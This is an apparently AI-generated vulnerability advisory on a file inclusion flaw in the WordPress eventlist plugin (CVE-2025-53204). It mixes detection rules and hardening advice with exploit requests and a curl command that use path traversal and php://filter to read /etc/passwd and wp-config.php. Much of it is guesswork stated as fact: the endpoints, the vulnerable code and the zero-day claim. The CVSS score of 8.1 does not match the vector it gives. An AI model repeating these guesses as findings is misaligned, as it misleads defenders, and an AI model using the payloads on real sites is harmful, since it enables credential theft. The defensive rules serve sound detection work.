CVE-2025-53204

Executive Summary

CVE-2025-53204 is a critical vulnerability in the WordPress plugin eventlist by Ovatheme, affecting versions up to and including 1.9.2. The flaw is a PHP Local File Inclusion (LFI) vulnerability, stemming from improper control of a filename used in an include/require statement. An unauthenticated attacker can exploit this to read arbitrary files from the server, potentially exposing sensitive configuration files, credentials, or source code. The CVSS score of 8.1 (High) reflects the ease of exploitation and high confidentiality impact. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for WordPress administrators.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch exists, users must consider the plugin as compromised and either remove it or apply strict file access controls. The lack of a patch from the vendor (Ovatheme) increases supply chain risk, as the plugin may be bundled in themes or other packages.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no victim action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full file read capability.
• Integrity Impact: None (I:N) – no file modification.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Critical for unpatched WordPress sites. The LFI can lead to disclosure of wp-config.php (database credentials), /etc/passwd, or other sensitive files, enabling lateral movement or credential theft.

Deep Dive & Mechanics

The vulnerability resides in the eventlist plugin’s PHP code, where a user-supplied parameter (likely page, file, or template) is passed directly to a PHP include() or require() function without proper sanitization or path validation. This allows an attacker to traverse directories using ../ sequences and include arbitrary local files.

Root Cause: The plugin fails to validate the filename against an allowlist or restrict the path to a specific directory. The include() function in PHP will execute any file as PHP code if it contains PHP tags, but even non-PHP files (e.g., .txt, .log) can be read and returned as plaintext if the include fails or the file is output directly.

Attack Flow:

1. Attacker sends a crafted HTTP request to a vulnerable endpoint (e.g., /?page=../../../../etc/passwd).
2. The plugin’s code processes the page parameter and passes it to include().
3. PHP includes the target file, outputting its contents (if not PHP) or executing it (if PHP).
4. Attacker receives sensitive data in the HTTP response.

WordPress Context: Since this is a WordPress plugin, the attack surface is the WordPress installation itself. The plugin likely registers a shortcode or page template that accepts user input. No Apache or Nginx misconfiguration is required; the flaw is purely in the plugin’s PHP logic.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. A typical vulnerable code snippet might look like:

// Vulnerable code (eventlist <= 1.9.2)
$page = $_GET['page'];
include($page . '.php');

A patched version would implement strict validation:

// Patched code (hypothetical)
$allowed_pages = ['list', 'detail', 'calendar'];
$page = $_GET['page'];
if (in_array($page, $allowed_pages, true)) {
    include(plugin_dir_path(__FILE__) . 'templates/' . $page . '.php');
} else {
    // Default or error
    include(plugin_dir_path(__FILE__) . 'templates/list.php');
}

The patched version uses an allowlist, restricts the path to a known directory, and avoids direct user input in the include statement.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with eventlist plugin <= 1.9.2.
• No authentication required.

Exploit Steps:

1. Identify the vulnerable parameter (e.g., page, file, template). Common endpoints: /?page=, /?eventlist_page=, /?template=.
2. Test for LFI by attempting to read /etc/passwd:

   GET /?page=../../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. If successful, read wp-config.php for database credentials:

   GET /?page=../../../../wp-config.php HTTP/1.1
   

   Note: PHP files will be executed, so the output may be blank if no PHP tags are present. Use php://filter to base64-encode the file:

   GET /?page=php://filter/convert.base64-encode/resource=../../../../wp-config.php HTTP/1.1
   

Example cURL command:

curl -v "http://target.com/?page=../../../../etc/passwd"

Expected Output: Contents of /etc/passwd or base64-encoded wp-config.php.

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for ../ sequences in GET parameters.
• Alert on requests to /?page= or similar parameters with path traversal patterns.
• Use WAF rules to block ../, php://, and file:// in query strings.

Hardening:

• Disable the eventlist plugin until a patch is released.
• If removal is not possible, apply a virtual patch via WAF (e.g., ModSecurity rule to block LFI patterns).
• Restrict file permissions on wp-config.php to 600 and ensure web server cannot read sensitive system files.
• Enable PHP open_basedir to restrict file access to the WordPress directory.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing ../ in query parameters (e.g., page=../../../../etc/passwd).
  • Requests to php://filter or php://input in the query string.
  • Unusual User-Agent strings (though not reliable).
• File System IOCs:
  • Unexpected inclusion of /etc/passwd, /etc/shadow, or wp-config.php in web server logs.
  • Presence of base64-encoded strings in access logs.
• Log IOCs:
  • Apache/Nginx access logs showing 404 or 200 responses to LFI patterns.
  • PHP error logs with include(): Failed opening messages for system files.

Detection Engineering

YARA Rule

rule CVE_2025_53204_LFI_Eventlist {
    meta:
        description = "Detects LFI attempts targeting Ovatheme eventlist plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53204"
    strings:
        $lfi1 = "../" ascii wide nocase
        $lfi2 = "..\\" ascii wide nocase
        $lfi3 = "php://" ascii wide nocase
        $lfi4 = "file://" ascii wide nocase
        $param1 = "page=" ascii wide nocase
        $param2 = "eventlist_page=" ascii wide nocase
        $param3 = "template=" ascii wide nocase
    condition:
        any of ($param*) and any of ($lfi*)
}

Sigma Rule

title: CVE-2025-53204 LFI Attempt on Ovatheme Eventlist
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in HTTP requests targeting eventlist plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'page=../'
            - 'eventlist_page=../'
            - 'template=../'
            - 'php://filter'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53204 LFI Attempt - Ovatheme Eventlist"; flow:to_server,established; content:"GET"; http_method; content:"page="; http_uri; content:"../"; distance:0; within:100; reference:cve,2025-53204; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the eventlist plugin from the WordPress admin panel.
2. Apply WAF rules – Block requests containing ../, php://, or file:// in query parameters.
3. Review server logs – Check for signs of exploitation (e.g., requests to /etc/passwd).

Long-term Fix:

• Await an official patch from Ovatheme. Monitor the WordPress plugin repository for updates.
• If the plugin is critical, consider forking and patching the vulnerable code yourself (see Vulnerable vs. Patched Code section).
• Implement file integrity monitoring (e.g., OSSEC, Tripwire) to detect unauthorized file access.

Workaround:

• Use a PHP open_basedir restriction to limit file access to the WordPress directory:

  php_admin_value open_basedir "/var/www/html:/tmp"
  

• Disable allow_url_include in php.ini (though this is for RFI, it’s good practice).

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.